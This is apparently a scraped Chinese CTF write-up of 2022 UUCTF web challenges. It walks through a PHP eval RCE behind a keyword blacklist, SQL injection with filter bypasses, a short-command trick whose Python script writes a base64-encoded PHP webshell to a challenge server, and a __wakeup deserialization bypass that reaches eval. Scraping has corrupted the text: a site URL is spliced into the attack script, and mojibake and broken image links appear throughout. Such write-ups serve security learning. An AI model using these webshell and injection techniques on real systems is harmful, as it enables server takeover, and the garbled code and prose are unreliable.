2022UUCTF--WEB

websign无法右键 禁用js后 看源码

2022UUCTF--WEB

文章插图
ez_rce -- 闭合源码,禁用的东西挺多的 仔细发现 ? <> `没有禁用 , 闭合标签反引号执行命令
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????if(isset($_GET['code'])){$code=$_GET['code'];if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){echo '看看你输入的参数?。。〔唤醒樱 。?;echo '<br>';eval($code);}else{die("你想干什么?????????");}}else{echo "居然都不输入参数,可恶!!!!!!!!!";show_source(__FILE__);}[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wkx4nqjg-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084645846.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L8KGVTDW-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084658608.png)]
nl输出
2022UUCTF--WEB

文章插图
ezsql -- 输入反向直接给出了查询语句
2022UUCTF--WEB

文章插图
发现输入 11')--+ 显示的是 +--)'11完全反过来了
2022UUCTF--WEB

文章插图
首先使用万能密码试试
2022UUCTF--WEB

文章插图
发现即使输入时正确的账号密码也不会回显flag
找列数2列
2022UUCTF--WEB

文章插图
这里过滤了or 双写绕过,查找表名和数据库名
2022UUCTF--WEB

文章插图
查列名UUCTF
2022UUCTF--WEB

文章插图
查内容
2022UUCTF--WEB

文章插图
ezrce -- 6字符RCEhint:这是一个命令执行接口
我知道咯这是六字符 起初我输入>nl 回显命令执行失败 我以为没有运行 所以没写
所以说不可以完全信回显
我们要先找到写文件写的目录 echo 一下,文件写在./tmp/
2022UUCTF--WEB

文章插图
方法一>nl* /*>d第一个:创建一个叫nl的文件* /*>d 意思就是 nl /*>f第一个*就是将ls列出文件名第一个当作命令 其他当作参数
2022UUCTF--WEB

文章插图
方法二前置知识
>a 在Linux会创建一个叫a的文件*>v 会将ls列出的第一个文件名当作命令 其余当作参数执行*v>0 等价于 rev v >0 反转sh 0 将0文件的内容当作命令执行ls -th 按照文件的创建时间(后创建先列出)ls -t就可以 这里加上h是为了按照 sl ht- f\>排列linux下换行执行命令:ech\o\ 111
2022UUCTF--WEB

文章插图
跑脚本,写木马
url="http://43.142.108.3:28933/post.php"print("[+]start attack!!!")with open("5字符RCE.txt", "r") as f:for i in f:data = https://www.huyubaike.com/biancheng/{"cmd": f"{i.strip()}"}requests.post(url=url,data=https://www.huyubaike.com/biancheng/data)resp = requests.get("http://43.142.108.3:28933/tmp/1.php")if resp.status_code == requests.codes.ok:print("[*]Attack success!!!")5字符RCE.txt>dir>sl>ht->f\>*>v>rev*v>0>hp>1.p\\>d\>\\>\ -\\>e64\\>bas\\>7\|\\>XSk\\>Fsx\\>dFV\\>kX0\\>bCg\\>XZh\\>AgZ\\>waH\\>PD9\\>o\ \\>ech\\sh 0sh f
2022UUCTF--WEB

文章插图
ez_unser -- 引用绕过wakeup反序列化 审计代码
class test{public $a;public $b;public $c;public function __construct(){$this->a=1;$this->b=2;$this->c=3;}public function __wakeup(){$this->a='';}public function __destruct(){// 可以看到这里有一个 $this->b=$this->c; 这里就是我们利用的地方// 这里说下php引用问题 当a=&b是 a和b分配的是同一快内存地址 也就是 a b永远相等$this->b=$this->c;// 终点eval($this->a);}}$a=$_GET['a'];// 这里限制我们不能修改test后的参数 也就是不可以通过修改参数绕过 __wakeupif(!preg_match('/test":3/i',$a)){die("你输入的不正确?。。「闶裁矗 。?);}$bbb=unserialize($_GET['a']);

推荐阅读